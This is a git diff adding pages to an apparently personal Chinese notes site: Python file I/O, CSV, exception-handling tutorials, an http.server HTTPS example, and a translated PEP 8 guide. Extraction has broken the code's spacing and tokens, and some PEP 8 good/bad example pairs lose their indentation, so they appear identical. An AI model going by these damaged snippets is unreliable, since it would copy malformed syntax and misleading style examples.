+>> > file3= open ( “d: \\python35\\test. txt”, ”w+ ”)
+
+ >> > file4= open ( “tu3. jpg”, ”ab+ ”)
+
import os
+file_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , './res/files/myData.txt' ) )
+with open ( file_path, 'r' , encoding= 'GBK' ) as f:
+ my1 = f. read( 9 )
+ my2 = f. readline( )
+ my3 = f. readlines( )
+print ( "f.read(9):" , my1)
+print ( "f.readline():" , my2)
+print ( "f.readlines():" , my3)
+f. close( )
+
+
+
+
+f. read( 9 ) : learn pyt
+f. readline( ) : hon
+
+f. readlines( ) : [ 'hard work\n' , '文本文件\n' , '二进制文件' ]
+
CSV文件 CSV文件是一种文本文件,由任意数目的行组成,一行被称为一条记录。 CSV格式存储的文件一般采用.csv为扩展名, 可以记事本或微软 Excel工具打开,可以在其他操作系统平台上用文本编辑工具打开。 CSV文件特点如下 读取出的数据一般为字符类型,如果要获得数值类型,需要用户完成转换。 以行为单位读取数据。 列之间以半角逗号或制表符为分隔,一般为半角逗号。 一般为每行开头不空格,第一行是属性列,数据列之间用间隔符分隔,无空格,行之间无空行。 csv库 Python提供了一个读写CSV文件的标准库,可以通过 import csv 语句导入。 csv库包含了操作CSV格式文件最基本的功能,典型的方法是csv.reader()和 csv.writer() ,分别用于读和写CSV文件。 向CSV文件中写入和读取数据 用列表变量保存数据,可以使用字符串的join()方法组成逗号分隔形式,再通过文件的write()方法保存到CSV文件中。 读取CSV文件中的数据,即读取一行数据,使用文件的read()方法读取即可,也可以将文件的内容读取到列表中。 异常处理 异常的概念 异常(Exception)就是程序在运行过程中发生的,由于硬件故障、软件设计错误、运行环境不满足等原因导致的程序错误。 代码运行时如果发生了异常,将生成代表该异常的一个对象,并交由Python解释器寻找相应的代码来处理这一异常。 Python异常处理优点 异常处理代码和正常执行的程序代码分离 多个异常统一处理,具有灵活性 可以从try-except之间的代码段中快速定位异常出现的位置 示例 weekday = [ "Mon" , "Tues" , "Weds" , "Thurs" , "Fri" , "Sat" , "Sun" ]
+print ( weekday[ 2 ] )
+print ( weekday[ 7 ] )
+
+
+Weds
+Traceback ( most recent call last) :
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py" , line 3 , in < module>
+ print ( weekday[ 7 ] )
+IndexError: list index out of range
+
try :
+ weekday = [ "Mon" , "Tues" , "Wed" , "Thurs" , "Fri" , "Satur" , "Sun" ]
+ print ( weekday[ 2 ] )
+ print ( weekday[ 7 ] )
+except IndexError:
+ print ( "列表索引可能超出范围" )
+
+
+Wed
+列表索引可能超出范围
+
+
异常类型 异常名称 描述 BaseException 所有异常的基类 SystemExit 解释器请求退出 KeyboardInterrupt 用户中断执行(通常是输入^C) Exception 常规错误的基类 StopIteration 迭代器没有更多的值 GeneratorExit 生成器(generator)发生异常来通知退出 SystemExit Python 解释器请求退出 StandardError 所有的内建标准异常的基类 ArithmeticError 所有数值计算错误的基类 FloatingPointError 浮点计算错误 OverflowError 数值运算超出最大限制 ZeroDivisionError 除(或取模)零 (所有数据类型) AssertionError 断言语句失败 AttributeError 对象没有这个属性 EOFError 没有内建输入,到达EOF 标记 EnvironmentError 操作系统错误的基类 IOError 输入/输出操作失败 OSError 操作系统错误 WindowsError 系统调用失败 ImportError 导入模块/对象失败 KeyboardInterrupt 用户中断执行(通常是输入^C) LookupError 无效数据查询的基类 IndexError 序列中没有没有此索引(index)【越界】 KeyError 映射中没有这个键 MemoryError 内存溢出错误(对于Python 解释器不是致命的) NameError 未声明/初始化对象 (没有属性) UnboundLocalError 访问未初始化的本地变量 ReferenceError 弱引用(Weak reference)试图访问已经垃圾回收了的对象 RuntimeError 一般的运行时错误 NotImplementedError 尚未实现的方法 SyntaxError Python 语法错误 IndentationError 缩进错误 TabError Tab 和空格混用 SystemError 一般的解释器系统错误 TypeError 对类型无效的操作 ValueError 传入无效的参数 UnicodeError Unicode 相关的错误 UnicodeDecodeError Unicode 解码时的错误 UnicodeEncodeError Unicode 编码时错误 UnicodeTranslateError Unicode 转换时错误 Warning 警告的基类 DeprecationWarning 关于被弃用的特征的警告 FutureWarning 关于构造将来语义会有改变的警告 OverflowWarning 旧的关于自动提升为长整型(long)的警告 PendingDeprecationWarning 关于特性将会被废弃的警告 RuntimeWarning 可疑的运行时行为(runtime behavior)的警告 SyntaxWarning 可疑的语法的警告 UserWarning 用户代码生成的警告
异常处理机制 程序执行过程中如果出现异常,会自动生成一个异常对象,该异常对象被提交给Python解释器,这个过程称为抛出异常。抛出异常也可以由用户程序自行定义。 当Python解释器接收到异常对象时,会寻找处理这一异常的代码并处理,这一过程叫捕获异常。 如果Python解释器找不到可以处理异常的方法,则运行时系统终止,应用程序退出。 try-except语句 用于处理异常,帮助用户准确定位异常发生的位置和原因。 格式如下try :
+ 语句块
+except ExceptionName1:
+ 异常处理代码1
+except ExceptionName2:
+ 异常处理代码2
+……
+
+
try语句 指定捕获异常的范围,由try所限定的代码块中的语句在执行过程中,可能会生成异常对象并抛出。 except语句 每个try代码块必须有一个或多个except语句,用于处理try代码块中所生成的异常。 except语句后的参数指明它能够捕获的异常类型。except块中包含的是异常处理的代码。 示例:while True :
+ try :
+ x = int ( input ( "请输入数据" ) )
+ print ( 100 / x)
+ except ZeroDivisionError:
+ print ( "异常信息:除数不能为0" )
+ except ValueError:
+ print ( "异常信息:输入数据必须是阿拉伯数字" )
+
+
+请输入数据0
+异常信息:除数不能为0
+请输入数据s
+异常信息:输入数据必须是阿拉伯数字
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+
else语句和finally语句 完整的异常处理结构还可以包括else语句和finally语句。 try :
+ 语句块
+except ExceptionName:
+ 异常处理代码
+……
+else :
+ 无异常发生时的语句块
+finally :
+ 必须处理的语句块
+
+
else语句 与循环中的else语句类似,当try语句没有捕获到任何异常信息,将不执行except语句块,而是执行else语句块。 finally语句 为异常处理提供一个统一的出口,使得在控制流转到程序的其他部分以前,能够对程序的状态作统一的管理。 不论在try代码块中是否发生了异常,finally块中的语句都会被执行。 示例 从键盘输入一个整数,求100除以它的商,并显示。 对从键盘输入的数进行异常处理,若无异常发生,打印提示信息。 while True :
+ try :
+ x = int ( input ( "请输入数据" ) )
+ print ( 100 / x)
+ except ZeroDivisionError:
+ print ( "异常信息:除数不能为0" )
+ except ValueError:
+ print ( "异常信息:输入数据必须是阿拉伯数字" )
+ else :
+ print ( "程序正常结束,未捕获到异常" )
+
+
+请输入数据0
+异常信息:除数不能为0
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+请输入数据5
+20.0
+程序正常结束,未捕获到异常
+请输入数据
+
fName = "program0805.py"
+file = None
+try :
+ file = open ( fName, "r" , encoding= "utf-8" )
+ for line in file :
+ print ( line, end= "" )
+except FileNotFoundError:
+ print ( "您要读取的文件不存在,请确认" )
+else :
+ print ( "文件读取正常结束" )
+finally :
+ print ( "文件正常关闭" )
+ if file != None :
+ file . close( )
+
+
+您要读取的文件不存在,请确认
+文件正常关闭
+
建站工具 Reflex reflex/docs/zh/zh_cn/README.md at main · reflex-dev/reflex --- reflex/docs/zh/zh_cn/README.md 位于 main · reflex-dev/reflex (github.com)open in new window
Mark: 适用于需要给当前项目做个基本展示页面不想直接上前端框架的情况, 直接拿 python 生成网页应用程序
使用 http.server 搭建文件服务器 simple-https-server.py --- simple-https-server.py (github.com)open in new window
simple-https-server.py --- simple-https-server.py (github.com)open in new window
最基础的用法, 使用如下命令可以在本机 8000 端口起一个文件服务器
要结合 ssl 的话需要先创建一组密钥, 可以参考 此处 生成ca根证书密钥对并签发这里的证书与密钥对, 然后将根证书添加到本地受信任的根证书颁发机构
然后创建一个 py 文件, 如 https_server.py
:
from http. server import HTTPServer, SimpleHTTPRequestHandler
+import ssl
+from pathlib import Path
+
+server_address = ( "0.0.0.0" , 443 )
+PEM_PATH = Path( __file__) . parent / "key/py-server/summer-py-server.crt"
+KEY_PATH = Path( __file__) . parent / "key/py-server/summer-py-server.key"
+
+httpd = HTTPServer( server_address, SimpleHTTPRequestHandler)
+
+httpd. socket = ssl. wrap_socket(
+ httpd. socket,
+ certfile= PEM_PATH,
+ keyfile= KEY_PATH,
+ server_side= True ,
+ ssl_version= ssl. PROTOCOL_TLS,
+)
+
+httpd. serve_forever( )
+
+
DNS Server 报错收集 no module named ‘pip’ 一般出现在更新 pip 显示无权访问后出现(因为更新前会先卸载旧版本pip, 安装新版本时出错就导致了 pip缺失)
可以使用 python -m ensurepip
重装 pip
然后会提示删掉 site_packages
中的 ~ip
等以 ~
开头的文件(夹), 因为这些文件都是没有安装成功的包
上一页
开发环境
下一页
PEP8
+
+
+
diff --git a/Language/Python/PEP8.html b/Language/Python/PEP8.html
new file mode 100644
index 0000000000..0e068a4611
--- /dev/null
+++ b/Language/Python/PEP8.html
@@ -0,0 +1,310 @@
+
+
+
+
+
+
+
+ Introduction 介绍 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Introduction 介绍 本文提供的Python代码编码规范基于Python主要发行版本的标准库。Python的C语言实现的C代码规范请查看相应的PEP指南open in new window 。
这篇文档以及PEP 257open in new window (文档字符串的规范)改编自Guido原始的《Python Style Guide》一文,同时添加了一些来自Barry的风格指南open in new window 。
这篇规范指南随着时间的推移而逐渐演变,随着语言本身的变化,过去的约定也被淘汰了。
许多项目有自己的编码规范,在出现规范冲突时,项目自身的规范优先。
A Foolish Consistency is the Hobgoblin of Little Minds 尽信书,则不如无书 Guido的一条重要的见解是代码阅读比写更加频繁。这里提供的指导原则主要用于提升代码的可读性,使得在大量的Python代码中保持一致。就像PEP 20提到的,“Readability counts”。
这是一份关于一致性的风格指南。这份风格指南的风格一致性是非常重要的。更重要的是项目的风格一致性。在一个模块或函数的风格一致性是最重要的。
然而,应该知道什么时候应该不一致,有时候编码规范的建议并不适用。当存在模棱两可的情况时,使用自己的判断。看看其他的示例再决定哪一种是最好的,不要羞于发问。
特别是不要为了遵守PEP约定而破坏兼容性!
几个很好的理由去忽略特定的规则:
当遵循这份指南之后代码的可读性变差,甚至是遵循PEP规范的人也觉得可读性差。 与周围的代码保持一致(也可能出于历史原因),尽管这也是清理他人混乱(真正的Xtreme Programming风格)的一个机会。 有问题的代码出现在发现编码规范之前,而且也没有充足的理由去修改他们。 当代码需要兼容不支持编码规范建议的老版本Python。 Code lay-out 代码布局 Indentation 缩进 每一级缩进使用4个空格。
续行应该与其包裹元素对齐,要么使用圆括号、方括号和花括号内的隐式行连接来垂直对齐,要么使用挂行缩进对齐3open in new window 。当使用挂行缩进时,应该考虑到第一行不应该有参数,以及使用缩进以区分自己是续行。
挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。 推荐:
+foo = long_function_name( var_one, var_two,
+ var_three, var_four)
+
+
+def long_function_name (
+ var_one, var_two, var_three,
+ var_four) :
+ print ( var_one)
+
+
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
不推荐:
+foo = long_function_name( var_one, var_two,
+ var_three, var_four)
+
+
+def long_function_name (
+ var_one, var_two, var_three,
+ var_four) :
+ print ( var_one)
+
四空格的规则对于续行是可选的。
可选:
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
当if语句的条件部分长到需要换行写的时候,注意可以在两个字符关键字的连接处(比如if),增加一个空格,再增加一个左括号来创造一个4空格缩进的多行条件。这会与if语句内同样使用4空格缩进的代码产生视觉冲突。PEP没有明确指明要如何区分i发的条件代码和内嵌代码。可使用的选项包括但不限于下面几种情况:
+if ( this_is_one_thing and
+ that_is_another_thing) :
+ do_something( )
+
+
+if ( this_is_one_thing and
+ that_is_another_thing) :
+
+ do_something( )
+
+
+if ( this_is_one_thing
+ and that_is_another_thing) :
+ do_something( )
+
(可以参考下面关于是否在二进制运算符之前或之后截断的讨论) 在多行结构中的大括号/中括号/小括号的右括号可以与内容对齐单独起一行作为最后一行的第一个字符,就像这样:
my_list = [
+ 1 , 2 , 3 ,
+ 4 , 5 , 6 ,
+ ]
+result = some_function_that_takes_arguments(
+ 'a' , 'b' , 'c' ,
+ 'd' , 'e' , 'f' ,
+ )
+
或者也可以与多行结构的第一行第一个字符对齐,就像这样:
my_list = [
+ 1 , 2 , 3 ,
+ 4 , 5 , 6 ,
+]
+result = some_function_that_takes_arguments(
+ 'a' , 'b' , 'c' ,
+ 'd' , 'e' , 'f' ,
+)
+
Tabs or Spaces? 制表符还是空格? 空格是首选的缩进方式。 制表符只能用于与同样使用制表符缩进的代码保持一致。 Python3不允许同时使用空格和制表符的缩进。 混合使用制表符和空格缩进的Python2代码应该统一转成空格。 当在命令行加入-t选项执行Python2时,它会发出关于非法混用制表符与空格的警告。当使用–tt时,这些警告会变成错误。强烈建议使用这样的参数。
Maximum Line Length 行的最大长度 所有行限制的最大字符数为79。 没有结构化限制的大块文本(文档字符或者注释),每行的最大字符数限制在72。 限制编辑器窗口宽度可以使多个文件并行打开,并且在使用代码检查工具(在相邻列中显示这两个版本)时工作得很好。 大多数工具中的默认封装破坏了代码的可视化结构,使代码更难以理解。避免使用编辑器中默认配置的80窗口宽度,即使工具在帮你折行时在最后一列放了一个标记符。某些基于Web的工具可能根本不提供动态折行。 一些团队更喜欢较长的行宽。如果代码主要由一个团队维护,那这个问题就能达成一致,可以把行长度从80增加到100个字符(更有效的做法是将行最大长度增加到99个字符),前提是注释和文档字符串依然已72字符折行。 Python标准库比较保守,需要将行宽限制在79个字符(文档/注释限制在72)。 较长的代码行选择Python在小括号,中括号以及大括号中的隐式续行方式。通过小括号内表达式的换行方式将长串折成多行。这种方式应该优先使用,而不是使用反斜杠续行 。 反斜杠有时依然很有用。比如,比较长的,多个with状态语句,不能使用隐式续行,所以反斜杠是可以接受的:
with open ( '/path/to/some/file/you/want/to/read' ) as file_1, \
+ open ( '/path/to/some/file/being/written' , 'w' ) as file_2:
+ file_2. write( file_1. read( ) )
+
(请参阅前面关于多行if-语句open in new window 的讨论,以获得关于这种多行with-语句缩进的进一步想法。) 另一种类似情况是使用assert语句。 确保在续行进行适当的缩进。
Should a line break before or after a binary operator? 在二元运算符之前应该换行吗? 几十年来,推荐的风格是在二元运算符之后中断。但是这会影响可读性,原因有二:操作符一般分布在屏幕上不同的列中,而且每个运算符被移到了操作数的上一行。下面例子这个情况就需要额外注意,那些变量是相加的,那些变量是相减的:
+income = ( gross_wages +
+ taxable_interest +
+ ( dividends - qualified_dividends) -
+ ira_deduction -
+ student_loan_interest)
+
为了解决这种可读性的问题,数学家和他们的出版商遵循了相反的约定。Donald Knuth在他的Computers and Typesetting系列中解释了传统规则:“尽管段落中的公式总是在二元运算符和关系之后中断,显示出来的公式总是要在二元运算符之前中断”4open in new window 。 遵循数学的传统能产出更多可读性高的代码:
+income = ( gross_wages
+ + taxable_interest
+ + ( dividends - qualified_dividends)
+ - ira_deduction
+ - student_loan_interest)
+
在Python代码中,允许在二元运算符之前或之后中断,只要本地的约定是一致的。对于新代码,建议使用Knuth的样式。
Blank Lines 空行 顶层函数和类的定义,前后用两个空行隔开。 类里的方法定义用一个空行隔开。 相关的功能组可以用额外的空行(谨慎使用)隔开。一堆相关的单行代码之间的空白行可以省略(例如,一组虚拟实现 dummy implementations)。 在函数中使用空行来区分逻辑段(谨慎使用)。 Python接受control-L(即^L)换页符作为空格;许多工具把这些字符当作页面分隔符,所以你可以在文件中使用它们来分隔相关段落。请注意,一些编辑器和基于Web的代码阅读器可能无法识别control-L为换页,将在其位置显示另一个字形。
Source File Encoding 源文件编码 Python核心发布版本中的代码总是以UTF-8格式编码(或者在Python2中用ASCII编码)。 使用ASCII(在Python2中)或UTF-8(在Python3中)编码的文件不应具有编码声明。 在标准库中,非默认的编码应该只用于测试,或者当一个注释或者文档字符串需要提及一个包含内ASCII字符编码的作者名字的时候;否则,使用\x,\u,\U , 或者 \N 进行转义来包含非ASCII字符。 对于Python 3和更高版本,标准库规定了以下策略(参见 PEP 3131open in new window ):Python标准库中的所有标识符必须使用ASCII标识符,并在可行的情况下使用英语单词(在许多情况下,缩写和技术术语是非英语的)。此外,字符串文字和注释也必须是ASCII。唯一的例外是(a)测试非ASCII特征的测试用例,以及(b)作者的名称。作者的名字如果不使用拉丁字母拼写,必须提供一个拉丁字母的音译。 鼓励具有全球受众的开放源码项目采取类似的政策。
Imports 导入 导入通常在分开的行,例如:
推荐: import os
+ import sys
+
+不推荐: import sys, os
+
但是可以这样:
from subprocess import Popen, PIPE
+
导入总是位于文件的顶部,在模块注释和文档字符串之后,在模块的全局变量与常量之前。 导入应该按照以下顺序分组:
标准库导入 相关第三方库导入 本地应用/库特定导入 你应该在每一组导入之间加入空行。 推荐使用绝对路径导入,如果导入系统没有正确的配置(比如包里的一个目录在sys.path里的路径后),使用绝对路径会更加可读并且性能更好(至少能提供更好的错误信息):
import mypkg. sibling
+from mypkg import sibling
+from mypkg. sibling import example
+
然而,显示的指定相对导入路径是使用绝对路径的一个可接受的替代方案,特别是在处理使用绝对路径导入不必要冗长的复杂包布局时:
from . import sibling
+from . sibling import example
+
标准库要避免使用复杂的包引入结构,而总是使用绝对路径。 不应该使用隐式相对路径导入,并且在Python 3中删除了它。
当从一个包含类的模块中导入类时,常常这么写:
from myclass import MyClass
+from foo. bar. yourclass import YourClass
+
如果上述的写法导致名字的冲突,那么这么写:
import myclass
+import foo. bar. yourclass
+
然后使用“myclass.MyClass”和“foo.bar.yourclass.YourClass”。
避免通配符的导入(from import *),因为这样做会不知道命名空间中存在哪些名字,会使得读取接口和许多自动化工具之间产生混淆。对于通配符的导入,有一个防御性的做法,即将内部接口重新发布为公共API的一部分(例如,用可选加速器模块的定义覆盖纯Python实现的接口,以及重写那些事先不知道的定义)。 当以这种方式重新发布名称时,以下关于公共和内部接口的准则仍然适用。
Module level dunder names 模块级的“呆”名 像__all__
, __author__
, __version__
等这样的模块级“呆名“(也就是名字里有两个前缀下划线和两个后缀下划线),应该放在文档字符串的后面,以及除from __future__
之外的import表达式前面。Python要求将来在模块中的导入,必须出现在除文档字符串之外的其他代码之前。 比如:
"""This is the example module.
+
+This module does stuff.
+"""
+
+from __future__ import barry_as_FLUFL
+
+__all__ = [ 'a' , 'b' , 'c' ]
+__version__ = '0.1'
+__author__ = 'Cardinal Biggles'
+
+import os
+import sys
+
String Quotes 字符串引号 在Python中,单引号和双引号字符串是相同的。PEP不会为这个给出建议。选择一条规则并坚持使用下去。当一个字符串中包含单引号或者双引号字符的时候,使用和最外层不同的符号来避免使用反斜杠,从而提高可读性。 对于三引号字符串,总是使用双引号字符来与PEP 257open in new window 中的文档字符串约定保持一致。
Whitespace in Expressions and Statements 表达式和语句中的空格 Pet Peeves 不能忍受的事情 在下列情况下,避免使用无关的空格:
Other Recommendations 其他建议 避免在尾部添加空格。因为尾部的空格通常都看不见,会产生混乱:比如,一个反斜杠后面跟一个空格的换行符,不算续行标记。有些编辑器不会保留尾空格,并且很多项目(像CPython)在pre-commit的挂钩调用中会过滤掉尾空格。
总是在二元运算符两边加一个空格:赋值(=),增量赋值(+=,-=),比较(==,<,>,!=,<>,<=,>=,in,not,in,is,is not),布尔(and, or, not)。
如果使用具有不同优先级的运算符,请考虑在具有最低优先级的运算符周围添加空格。有时需要通过自己来判断;但是,不要使用一个以上的空格,并且在二元运算符的两边使用相同数量的空格。 推荐:
i = i + 1
+submitted += 1
+x = x* 2 - 1
+hypot2 = x* x + y* y
+c = ( a+ b) * ( a- b)
+
不推荐:
i= i+ 1
+submitted += 1
+x = x * 2 - 1
+hypot2 = x * x + y * y
+c = ( a + b) * ( a - b)
+
在制定关键字参数或者默认参数值的时候,不要在=附近加上空格。 推荐:
def complex ( real, imag= 0.0 ) :
+ return magic( r= real, i= imag)
+
不推荐:
def complex ( real, imag = 0.0 ) :
+ return magic( r = real, i = imag)
+
功能型注释应该使用冒号的一般性规则,并且在使用->的时候要在两边加空格。(参考下面的功能注释得到能够多信息) 推荐:
def munge ( input : AnyStr) : . . .
+def munge ( ) - > AnyStr: . . .
+
不推荐:
def munge ( input : AnyStr) : . . .
+def munge ( ) - > PosInt: . . .
+
当给有类型备注的参数赋值的时候,在=两边添加空格(仅针对那种有类型备注和默认值的参数)。 推荐
def munge ( sep: AnyStr = None ) : . . .
+def munge ( input : AnyStr, sep: AnyStr = None , limit= 1000 ) : . . .
+
不推荐
def munge ( input : AnyStr= None ) : . . .
+def munge ( input : AnyStr, limit = 1000 ) : . . .
+
复合语句(同一行中的多个语句)通常是不允许的。 推荐:if foo == 'blah' :
+ do_blah_thing( )
+do_one( )
+do_two( )
+do_three( )
+
最好别这样:if foo == 'blah' : do_blah_thing( )
+do_one( ) ; do_two( ) ; do_three( )
+
虽然有时候将小的代码块和 if/for/while 放在同一行没什么问题,多行语句块的情况不要这样用,同样也要避免代码行太长! 最好别这样:if foo == 'blah' : do_blah_thing( )
+for x in lst: total += x
+while t < 10 : t = delay( )
+
绝对别这样:if foo == 'blah' : do_blah_thing( )
+else : do_non_blah_thing( )
+
+try : something( )
+finally : cleanup( )
+
+do_one( ) ; do_two( ) ; do_three( long , argument,
+ list , like, this)
+if foo == 'blah' : one( ) ; two( ) ; three( )
+
与代码相矛盾的注释比没有注释还糟,当代码更改时,优先更新对应的注释! 注释应该是完整的句子。如果一个注释是一个短语或句子,它的第一个单词应该大写,除非它是以小写字母开头的标识符(永远不要改变标识符的大小写!)。 如果注释很短,结尾的句号可以省略。块注释一般由完整句子的一个或多个段落组成,并且每句话结束有个句号。 在句尾结束的时候应该使用两个空格。 当用英文书写时,遵循Strunk and White (译注:《Strunk and White, The Elements of Style》)的书写风格。 在非英语国家的Python程序员,请使用英文写注释,除非你120%的确信你的代码不会被使用其他语言的人阅读。 块注释通常适用于跟随它们的某些(或全部)代码,并缩进到与代码相同的级别。块注释的每一行开头使用一个#和一个空格(除非块注释内部缩进文本)。 块注释内部的段落通过只有一个#的空行分隔。 有节制地使用行内注释。 行内注释是与代码语句同行的注释。行内注释和代码至少要有两个空格分隔 。注释由#和一个空格 开始。 事实上,如果状态明显的话,行内注释是不必要的,反而会分散注意力。 比如说下面这样就不需要:但有时,这样做很有用: Documentation Strings 文档字符串 编写好的文档说明(也叫“docstrings”)的约定在PEP 257中永恒不变。 要为所有的公共模块,函数,类以及方法编写文档说明。非公共的方法没有必要,但是应该有一个描述方法具体作用的注释。这个注释应该在def那一行之后。 PEP 257 描述了写出好的文档说明相关的约定。特别需要注意的是,多行文档说明使用的结尾三引号应该自成一行,例如:"""Return a foobang
+
+Optional plotz says to frobnicate the bizbaz first.
+"""
+
对于单行的文档说明,尾部的三引号应该和文档在同一行。 Naming Conventions 命名规范 Python库的命名规范很乱,从来没能做到完全一致。但是目前有一些推荐的命名标准。新的模块和包(包括第三方框架)应该用这套标准,但当一个已有库采用了不同的风格,推荐保持内部一致性。 Overriding Principle 最重要的原则 那些暴露给用户的API接口的命名,应该遵循反映使用场景而不是实现的原则。 Descriptive: Naming Styles 描述:命名风格 有许多不同的命名风格。这里能够帮助大家识别正在使用什么样的命名风格,而不考虑他们为什么使用。
以下是常见的命名方式:
b(单个小写字母) B(单个大写字母) lowercase 小写字母 lower_case_with_underscores 使用下划线分隔的小写字母 UPPERCASE 大写字母 UPPER_CASE_WITH_UNDERSCORES 使用下划线分隔的大写字母 CapitalizedWords(或者叫 CapWords,或者叫CamelCase 驼峰命名法 —— 这么命名是因为字母看上去有起伏的外观5)。有时候也被称为StudlyCaps。 注意:当在首字母大写的风格中用到缩写时,所有缩写的字母用大写,因此,HTTPServerError 比 HttpServerError 好。 mixedCase(不同于首字母大写,第一个单词的首字母小写) Capitalized_Words_With_Underscores(巨丑无比!) 也有用唯一的短前缀把相关命名组织在一起的方法。这在Python中不常用,但还是提一下。比如,os.stat()函数中包含类似以st_mode,st_size,st_mtime这种传统命名方式命名的变量。(这么做是为了与 POSIX 系统的调用一致,以帮助程序员熟悉它。)
X11库的所有公共函数都加了前缀X。在Python里面没必要这么做,因为属性和方法在调用的时候都会用类名做前缀,函数名用模块名做前缀。
另外,下面这种用前缀或结尾下划线的特殊格式是被认可的(通常和一些约定相结合):
_single_leading_underscore:(单下划线开头)弱“内部使用”指示器。比如 from M import * 是不会导入以下划线开始的对象的 。 __double_leading_underscore:(双下划线开头)当这样命名一个类的属性时,调用它的时候名字会做矫正(在类FooBar中,__boo变成了_FooBar__boo;见下文)。 double_leading_and_trailing_underscore :(双下划线开头,双下划线结尾)“magic”对象或者存在于用户控制的命名空间内的属性,例如:init ,import__或者__file 。除了作为文档之外,永远不要命这样的名。 Prescriptive: Naming Conventions 约定俗成:命名约定 Names to Avoid 应避免的名字 永远不要使用字母‘l’(小写的L),‘O’(大写的O),或者‘I’(大写的I)作为单字符变量名。 在有些字体里,这些字符无法和数字0和1区分,如果想用‘l’,用‘L’代替。 Package and Module Names 包名和模块名 模块应该用简短全小写的名字 ,如果为了提升可读性,下划线也是可以用的 。Python包名也应该使用简短全小写的名字,但不建议用下划线 。 当使用C或者C++编写了一个依赖于提供高级(更面向对象)接口的Python模块的扩展模块,这个C/C++模块需要一个下划线前缀(例如:_socket) Class Names 类名 类名一般使用首字母大写的约定。 在接口被文档化并且主要被用于调用的情况下,可以使用函数的命名风格代替。 注意 ,对于内置的变量命名有一个单独的约定:大部分内置变量是单个单词(或者两个单词连接在一起),首字母大写的命名法只用于异常名或者内部的常量。 Exception Names 异常名 因为异常一般都是类,所有类的命名方法在这里也适用。然而,你需要在异常名后面加上“Error”后缀(如果异常确实是一个错误)。 Global Variable Names 全局变量名 (我们希望这一类变量只在模块内部使用。)约定和函数命名规则一样。 通过 from M import * 导入的模块应该使用all机制去防止内部的接口对外暴露,或者使用在全局变量前加下划线的方式 (表明这些全局变量是模块内非公有)。 Function Names 函数名 函数名应该小写,如果想提高可读性可以用下划线分隔 。 大小写混合仅在为了兼容原来主要以大小写混合风格的情况下使用(比如 threading.py),保持向后兼容性。 Function and method arguments 函数和方法参数 始终要将 self 作为实例方法的的第一个参数。 始终要将 cls 作为类静态方法的第一个参数。 如果函数的参数名和已有的关键词冲突,在最后加单一下划线比缩写或随意拼写更好。因此 class_ 比 clss 更好。(也许最好用同义词来避免这种冲突) Method Names and Instance Variables 方法名和实例变量 遵循这样的函数命名规则:使用下划线分隔小写单词以提高可读性。 在非共有方法和实例变量前使用单下划线。 通过双下划线前缀触发Python的命名转换规则来避免和子类的命名冲突。 Python通过类名对这些命名进行转换:如果类 Foo 有一个叫 __a 的成员变量, 它无法通过 Foo.__a 访问。(执着的用户可以通过 Foo._Foo__a 访问。)一般来说,前缀双下划线用来避免类中的属性命名与子类冲突的情况。 注意 :关于__names的用法存在争论(见下文)。 Constants 常量 常量通常定义在模块级,通过下划线分隔的全大写字母命名。例如: MAX_OVERFLOW 和 TOTAL。 Designing for inheritance 继承的设计\ 始终要考虑到一个类的方法和实例变量(统称:属性)应该是共有还是非共有。如果存在疑问,那就选非共有;因为将一个非共有变量转为共有比反过来更容易。 公共属性是那些与类无关的客户使用的属性,并承诺避免向后不兼容的更改。非共有属性是那些不打算让第三方使用的属性;你不需要承诺非共有属性不会被修改或被删除。 我们不使用“私有(private)”这个说法 ,是因为在Python中目前还没有真正的私有属性(为了避免大量不必要的常规工作)。 另一种属性作为子类API的一部分(在其他语言中通常被称为“protected”)。有些类是专为继承设计的,用来扩展或者修改类的一部分行为。当设计这样的类时,要谨慎决定哪些属性时公开的,哪些是作为子类的API,哪些只能在基类中使用。 贯彻这样的思想,一下是一些让代码Pythonic的准则: 公共属性不应该有前缀下划线。 如果公共属性名和关键字冲突,在属性名之后增加一个下划线。这比缩写和随意拼写好很多。(然而,尽管有这样的规则,在作为参数或者变量时,‘cls’是表示‘类’最好的选择,特别是作为类方法的第一个参数。) 注意1:参考之前的类方法参数命名建议 注意2:尽管功能方法对于类似缓存的负面影响比较小,但还是要尽量避免。 注意3:属性标记会让调用者认为开销(相当的)小,避免用属性做开销大的计算。 如果你的类打算用来继承的话,并且这个类里有不希望子类使用的属性,就要考虑使用双下划线前缀并且没有后缀下划线的命名方式 。这会调用Python的命名转换算法,将类的名字加入到属性名里。这样做可以帮助避免在子类中不小心包含了相同的属性名而产生的冲突。 注意1:只有类名才会整合进属性名,如果子类的属性名和类名和父类都相同,那么你还是会有命名冲突的问题。 注意2:命名转换会在某些场景使用起来不太方便,例如调试,getattr ()。然而命名转换的算法有很好的文档说明并且很好操作。 注意3:不是所有人都喜欢命名转换。尽量避免意外的名字冲突和潜在的高级调用。 Public and internal interfaces 公共和内部的接口 任何向后兼容保证只适用于公共接口,因此,用户清晰地区分公共接口和内部接口非常重要。 文档化的接口被认为是公开的,除非文档明确声明它们是临时或内部接口,不受通常的向后兼容性保证。所有未记录的接口都应该是内部的。 为了更好地支持内省(introspection),模块应该使用__all__属性显式地在它们的公共API中声明名称。将__all__设置为空列表表示模块没有公共API。 即使通过__all__设置过,内部接口(包,模块,类,方法,属性或其他名字)依然需要单个下划线前缀。 如果一个命名空间(包,模块,类)被认为是内部的,那么包含它的接口也应该被认为是内部的。 导入的名称应该始终被视作是一个实现的细节。其他模块必须不能间接访问这样的名称,除非它是包含它的模块中有明确的文档说明的API,例如 os.path 或者是一个包里从子模块公开函数接口的 init 模块。 Programming Recommendations 编程建议 代码应该用不损害其他Python实现的方式去编写(PyPy,Jython,IronPython,Cython,Psyco 等)。
